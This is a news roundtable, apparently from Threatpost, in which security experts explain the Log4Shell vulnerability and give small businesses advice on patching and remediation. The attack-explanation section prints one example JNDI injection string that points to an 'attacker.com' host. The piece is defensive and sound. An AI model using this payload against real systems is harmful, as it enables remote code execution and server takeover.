Description
News of the Log4Shell vulnerability is everywhere, with security experts variously calling the Apache log4j logging library bug a recipe for an “internet meltdown,” as well as the “worst cybersecurity bug of the year.” Names like “Apple,” “Twitter” and “Cloudflare” are being bandied about as being vulnerable, but what does the issue mean for small- and medium-sized businesses?
We asked security experts to weigh in on the specific effects (and advice/remedies) for SMBs in a set of roundtable questions, aimed at demystifying the firehose of information around the headline-grabbing issue.
It may seem overwhelming for smaller companies. But our experts, from Anchore, Cybereason, Datto, ESET, HackerOne, Invicti Security, Lacework and Mitiga, have weighed in here with exclusive, practical advice and explanations specifically for SMBs dealing with Log4Shell.
_“Wiz research shows that more than 89 percent of all environments have vulnerable log4j libraries. And in many of them, the dev teams are sure they have zero exposure — and are surprised to find out that some third-party component is actually built using Java.” — Ami Luttwak, _co-founder and CTO at Wiz, which has seen its usage double as a result of Log4Shell (via email to Threatpo__st).
Questions answered (click to jump to the appropriate section):
- What bad Log4Shell outcomes are possible for SMBs?
- How is a real-world Log4Shell attack carried out?
- How can SMBs prepare for Log4Shell without a dedicated security team?
- What happens if an SMB uses an MSP?
- What applications should SMBs worry about being attacked?
- How can SMBs remediate a Log4Shell attack?
- Final thoughts
Background on Log4Shell
Log4Shell (CVE-2021-44228) affects applications that rely on the log4j library to log data. Because that library is almost ubiquitous in Java applications, virtually any business that has a website is highly likely to be affected. With one line of malicious code, attackers are able to execute malware or commands on a target application and take over the server that houses it.
From there, an attacker can carry out any number of further attacks.
“Small businesses are at significant risk because plenty of the software they rely on may be vulnerable, and they do not have the resources to patch quickly enough,” Ofer Maor, Mitiga CTO, told Threatpost.
SMBs also tend to rely on third-party software suppliers and managed service providers (MSPs) for their technology infrastructure, which reduces cost and reduces the need for dedicated IT staff. However, this unfortunately puts SMBs at even worse risk, because they need to rely on their third-party vendors to patch and respond in many cases.
The bug was first disclosed as a zero-day vulnerability last week, but an emergency fix has been rolled out that now must be incorporated by the many developers who use log4j in their applications. The steps to address Log4Shell for SMBs thus include identifying potentially affected applications (including those provided by MSPs), confirming the vulnerability’s impact within them, and applying or confirming updates as soon as possible. SMBs will also need to determine whether they’re already compromised and remediate the issue if so.
All of this should take priority since a slew of attacks is imminent, thanks to an exploit becoming publicly available online, researchers noted.
“Numerous attack groups are already actively exploiting this vulnerability, mostly through automated scripts,” Maor warned. “This means we expect to see this being exploited in masses, hitting tens of thousands or even more targets.”
What Bad Log4Shell Outcomes Are Possible for SMBs?
Ofer Maor, Mitiga CTO: One of the concerns is that a lot of these attacks now will focus on getting initial access only and establishing persistence (that is, installing something that will allow the attacker to have access to their systems later, even after the vulnerability has been fixed).
Marc-Étienne Léveillé, malware researcher for ESET: SMBs providing online services may expose their system to malware and data exfiltration if their systems use the log4j software to log events. The risk is quite high, given the exploit is available online and relatively easy to trigger. Once into the network, cybercriminals could pivot to gain access to additional resources.
Josh Bressers, vice president of security at Anchore: This vulnerability allows attackers to run the code of their choosing, such as a cryptominer, a backdoor or data-stealing malware, for example. One of the challenges for a vulnerability like this is the attacker landscape is changing rapidly. So far, most of the attacks seem to be using compute resources to mine cryptocurrency, but these attacks are changing and evolving each hour. It is expected that the attacks will gain in sophistication over the coming days and weeks.
Mark Nunnikhoven, distinguished cloud strategist at Lacework: Unfortunately…an attacker can take over your system or steal your data quite easily using this vulnerability.
Pieter Ockers, senior director of technical services at HackerOne:In a more devastating case, criminals that gain initial access to the victim’s environment could auction that access off to crews that specialize in executing ransomware attacks. SMBs should be hyper-aware of any of their software vendors/MSPs that use Apache log4j in case they are affected by a breach; I suspect we might hear of some ransomware attacks soon stemming from this vulnerability.
How Is a Real-World Log4Shell Attack Carried Out?
Cybereason CTO Yonatan Striem-Amit: The most prevalent attack scenarios we’ve seen are abusing things like the user agent or things like a log-in screen. If an application has a log-in page where a user is asked to put his username and password (and a lot of them do), an attacker could just supply the malicious string within that user field and get code execution on that server. After that he essentially controls logins, and therefore can start doing whatever he wants on that server, including, of course, eavesdropping into every other user who’s logging in to the environment with their password.
Adam Goodman, vice president of product management at Invicti Security:This attack is astonishingly easy to execute. This is because it may not require authentication to execute, nor would it require penetrating multiple application and/or networking layers to begin the exploit. It’s simply a text string sent to any places that will be logged. And finding such a place is very easy – it can be a simple header, or a simple text field or error condition sent to a log file.
To exploit Log4Shell, the attacker may use any user input subsequently logged by the log4j framework. For example, in the case of a web application, it may be any text entry field or HTTP header such as User-Agent. Server logging is often set to log headers as well as form data.
The attacker only needs to include the following string in the logged user input:
${jndi:ldap://attacker.com/executeme}
Where attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.
Lacework’s Nunnikhoven:“A real world-attack can be as simple as the attack sending a specifically crafted web request to a vulnerable server. When the server processes that request, the attacker then has access to the server. The Lacework Labs team has documented this attack and some other technical aspects of attacks we’ve seen in this blog post.”
Anchore’s Bressers:Attackers send requests to vulnerable applications, this triggers the vulnerability. The application then downloads a cryptocurrency mining application, in one scenario, and runs it on the compromised system. The cryptomining application then consumes large amounts of victim’s processing power while the attacker claims the cryptomining rewards.
Trend Micro published this attack-scenario flow on Tuesday (https://www.zerodayinitiative.com/blog/2021/12/14/the-december-2021-security-update-review).
How Can SMBs Address Log4Shell without a Dedicated Security Team?
HackerOne’s Ockers:These kinds of wide sweeping cyberattacks will always be a bigger challenge for those that lack a dedicated security team. If only one or two individuals in IT are working to monitor security, it’s even more important you’re prepared and have already taken stock of the software you’re using and your vendor’s software. Once you gain that visibility, I recommend patching any instances you find of log4j and updating the software to version 2.15.0 in your own software. I’d also confirm any vendors’ exposure and incident management around log4j patching and response.
According to Microsoft’s recent blog, the log4j 2 library is included in widely deployed Apache products including Struts 2, Solr, Druid, Flink and Swift. SMBs that have built applications with these products should conduct a code audit to determine if the vulnerable version of log4j is in use.
Mitiga’s Maor: SMBs should set up an immediate task force to map all affected homegrown systems and patch them, while allowing IT to map all external systems and communicate with the censored systems.
Anchore’s Bressers:This vulnerability is going to be especially challenging for small and medium business users without a dedicated security team. Ideally software vendors are being proactive in their investigations and updates and are contacting affected customers, but this is not always the case.
Depending on the level of technical acumen an organization has, there are steps that can be taken to detect and resolve the issue themselves. There are various open-source tools that exist to help detect this vulnerability on systems such as Syft and Grype. CISA has released guidance regarding this vulnerability, including steps a business can take.
Lacework’s Nunnikhoven:“While IT knowledge is required, the basic steps don’t require a security team. IT teams should be trying to find systems that use log4j in their environment and then apply one of the techniques the fantastic team of volunteers with the log4j project have published or the recommended guidance from that system’s vendors. This is a lot of work but it’s necessary to reduce the risk to your business.
_The log4j team’s resource is _available here, in the mitigation section under the “Fixed in Log4j 2.15.0” heading. Many organizations have also published free tools to help identify vulnerable applications, like this one, this one or this one.
Invicti’s Adam Goodman:It’s a nightmare of a problem if you have a surplus of Java applications deployed everywhere, not just on the primary website. Organizations should immediately determine where and how they directly or indirectly use this library and then take steps to mitigate the vulnerability by either upgrading the library or modifying Java system properties to disable the vulnerable functionality.
Aim to ensure that all applications have limited outbound internet connectivity, and use Ansible scripts or adequate security tools to scan en masse for the vulnerability before forcibly patching it. It’s crucial to use security tools that target all of the applications they can find so that organizations have a more accurate window into their security posture.
Organizations that lack sufficient budget to invest in discovery tools should make a list of Java applications which they add to continually, and check them off, while prioritizing apps that present the most risk if exploited.
What Happens if an SMB Uses an MSP?
Anchore’s Bressers:I would expect an MSP to take the lead on this issue for their customers. An MSP should be monitoring their infrastructure for indicators of compromise, applying workarounds when possible, and updating the managed applications as vendor updates become available. Any business using MSP services should reach out to their provider and request a status update on the Log4Shell.
Ryan Weeks, CISO at Datto: “Cyber-threats are always prevalent. Especially for small to medium-sized businesses (SMBs) – 78 percent of MSPs reported attacks against their client SMBs in the last two years alone. MSPs have a responsibility to diligently check for vulnerabilities and arm their customers with the tools to combat them. It’s not enough to simply install routine software updates. SMBs need to ensure their partners proactively push out security updates for any affected products, and continually monitor for potential exploits.
Invicti’s Adam Goodman:This is an issue front-and-center in the security community and if an organization is using an MSP, it’s highly likely that MSP is actively working on this. Confirm that a ticket and incident is open for this vulnerability, and ask the MSP for a list of managed applications that are under remediation. It’s vital to review that list of apps for anything that’s missing, including any back-office or forgotten tools in the mix. Ensure the MSP has visibility into the attack surface so that you both can better handle necessary containment steps moving forward.
Lacework’s Nunnikhoven:A managed service provider can help update and fix the systems they manage. A managed security service provider can help detect and stop attacks aimed at this issue, and help investigate any attacks that may have already taken place. The first step in both cases is speaking with your MSP/MSSP to understand the steps they are taking to help protect their customers.
What Applications Should SMBs Worry About?
Mitiga’s Maor: Impact can vary significantly as many custom-developed and off-the-shelf products are impacted. Many adversaries are using the vulnerability as part of mass-scanning efforts to identify vulnerable systems. Likewise, some known malware strains have already incorporated exploitation of this vulnerability into their spreading mechanisms. Any Java application might be affected.
Invicti’s Adam Goodman:SMBs should address worries and concerns based on business risk. Internet-facing apps should receive immediate priority, followed by applications that are critical to the software supply chain or back-office and financial applications. There is also an excellent effort from the security community to compile all affected technologies, it can be found here.”
ESET’s Léveillé:As a first step, SMBs should ask questions of the organization providing their internet-facing services such as their website. Then they should see if any of their applications use log4j to generate logs. Java applications and webservices would be the first to look at because log4j is a Java library.
Cybereason’s Striem-Amit: The world of Java and open source has so many dependencies, where a company might use one product, but it actually carries with it a dozen other libraries. So log4j could be present even though a company might not necessarily even be aware or … done it directly. So the scanning and the analysis is severely complex. And you have to go in each one of your servers and see, are we using log4j either directly or indirectly in that environment.
How Can SMBs Remediate a Successful Log4Shell Attack?
Mitiga’s Maor: Thankfully, there’s a lot that can be done to harden environments. For customers with internally developed applications, limiting outbound internet connections from servers to only whitelisted hosts is a great step, if challenging to implement. Likewise, a variety of cybersecurity companies have listed steps that can be taken to harden vulnerable versions of log4j if upgrades can’t be performed readily. Similarly, exploitation of this vulnerability and many others can be caught using typical compromise assessment techniques. It pays to threat hunt! Remediation is no different than recovering from any other type of RCE vulnerability.
Lacework’s Nunnikhoven:“Remediation of this issue will depend on where you find log4j. If it’s in something you’ve written, you can update the library or turn off the vulnerable feature. For commercial software and services, you’re reliant on the vendor to resolve the issue. While that work is ongoing, monitoring your network to attack attempts is reasonably straightforward…if you have the security controls in place.
Lacework Labs has published a detailed technical post on some of the attack techniques currently in use. Expect more variants as cybercriminals develop more techniques to avoid various security controls and other mitigation.
In situations like this it’s important to understand that until the root cause has been resolved (log4j updated or the feature in question turned off), attackers will continue to work to evade any mitigations that defenders put in place to stop them.
Anchore’s Bressers:An organization without an incident-management team on staff should reach out to an incident-management consulting group. There are a number of important steps that should happen when investigating any cybersecurity attack, successful or not, that can require preserving evidence, recovering data, and protecting employees and users. This is a serious vulnerability with serious consequences. It’s one of the worst we have seen in recent history because of its ease of exploitability, far-reaching impacts and powerful nature.
Final Thoughts
Datto’s Weeks: Scenarios such as the log4j vulnerability underscore the importance of proactivity in security. While many are now scrambling to address the vulnerability with patches, it’s equally more important to plan for subsequent attacks. Fortunately, there are solutions that can apply known workarounds for vulnerable instances.
HackerOne’s Ockers:As a best practice, I recommend all businesses have a clear understanding of the software used within their own systems. Even more important for SMBs in this instance — businesses should also have a clear understanding of the licensing agreements and security policies of any software vendors or service providers. This level of visibility lets security and IT teams quickly understand where they’re at risk if, and when, something like this is exploited.
ESET’s Léveillé:SMBs should verify if there were any successful attempts to exploit the vulnerability by looking at their logs.
HackerOne’s Ockers:SMBs and larger organizations alike will be affected. As we’re seeing, exploitation will continue to be widespread – this means it’s particularly important that SMBs check if vendors are still using the vulnerable version of log4j to process user-controlled or otherwise untrusted data. And, if so, SMBs should also ask vendors if their data is stored or processed in the same exposed environment.
Cybereason’s Striem-Amit: I think at the end of the day, really prioritize the most internet-facing environments, and rely on your service providers as much as they can to assist you with other patching. You’re welcome to use our vaccine to buy time. It does work remarkably well to make sure that, between now and when you actually end up patching the server, you’re kind of secure.